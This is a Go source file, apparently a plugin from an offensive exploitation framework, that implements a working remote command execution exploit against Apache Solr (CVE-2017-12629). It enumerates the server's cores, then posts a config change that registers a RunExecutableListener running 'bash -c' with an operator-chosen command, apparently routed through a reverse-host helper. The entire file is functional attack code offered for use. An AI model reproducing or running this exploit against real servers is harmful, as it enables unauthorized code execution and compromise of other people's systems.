package drops

import (
	"context"
	"encoding/json"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	logx "gitee.com/wudicaidou/menciis-logx"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"io/ioutil"
	"net/http"
	"net/url"
	"time"
)

type SolrCve201712629 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp SolrCve201712629
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *SolrCve201712629) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "c6bb5d2c-80af-42fb-a35f-d646af64a77d",
		VulId:   "03271961-013f-4219-9a50-4cf2f4c1c03e",
		Name:    "Solr_CVE_2017_12629",
		Ability: expbase.TypeCommandExecution,
		Echo:    false,
	}
}

func (t *SolrCve201712629) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	if len(expContext.CommandToExecute) == 0 {
		return nil, nil
	}

	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}

	var (
		newUrl *url.URL
		resp   *http.Response
	)

	req := reqAsset.Req.Clone()
	baseUrl := req.GetUrl().String()

	newUrl, err = url.Parse(baseUrl + "/solr/admin/cores?indexInfo=false&wt=json")
	if err != nil {
		logx.Error(err)
		return nil, err
	}

	req.RawRequest.URL = newUrl
	req.RawRequest.Method = http.MethodGet

	resp, err = expContext.HttpClient.HTTPClient.Do(req.RawRequest)
	if err != nil {
		logx.Error(err)
		return nil, err
	}

	respBody, _err := ioutil.ReadAll(resp.Body)
	if _err != nil {
		logx.Error(_err)
		return nil, _err
	}

	type RespType struct {
		ResponseHeader struct {
			Status int `json:"status"`
			QTime  int `json:"QTime"`
		} `json:"responseHeader"`
		InitFailures map[string]interface{} `json:"initFailures"`
		Status       map[string]interface{} `json:"status"`
	}

	var rt RespType
	if err := json.Unmarshal(respBody, &rt); err != nil {
		return nil, err
	}

	if len(rt.Status) == 0 {
		logx.Error("solr got the cores is empty, exit.")
		return
	}

	var coreName string
	for k, _ := range rt.Status {
		coreName = k
		break
	}

	newUrl, err = url.Parse(baseUrl + "/solr/" + coreName + "/config")
	if err != nil {
		logx.Error(err)
		return nil, err
	}

	req.RawRequest.URL = newUrl
	req.RawRequest.Method = http.MethodPost
	req.RawRequest.Header.Set("Content-Type", "application/json")

	//for _, cmd := range expContext.CommandToExecute {
	cmd, _, err := expbase.ReverseHost(req.GetHost(), expContext.CommandToExecute, 10)
	if err != nil {
		return nil, err
	}
	listenerName := "newlistener_" + time.Now().Format("20060102150405")
	payloadCmd := `{"add-listener":{"event":"newSearcher","name":"` + listenerName + `","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c", "` + cmd + `"]}}`

	req.SetBody([]byte(payloadCmd))

	resp, err1 := expContext.HttpClient.HTTPClient.Do(req.RawRequest)
	if err1 != nil {
		logx.Error(err1)
		return nil, err
	}

	respBody, err2 := ioutil.ReadAll(resp.Body)
	if err2 != nil {
		logx.Error(err2)
		return nil, err2
	}

	data = append(data, &expbase.CommandResultEvent{
		Request:   *req.RawRequest,
		Response:  *resp,
		EventBase: t.GetEventBase(expContext.Target, t),
		Command:   cmd,
		Result:    respBody,
	})
	//}
	time.Sleep(time.Second * 1)
	return
}

func (t *SolrCve201712629) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *SolrCve201712629) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
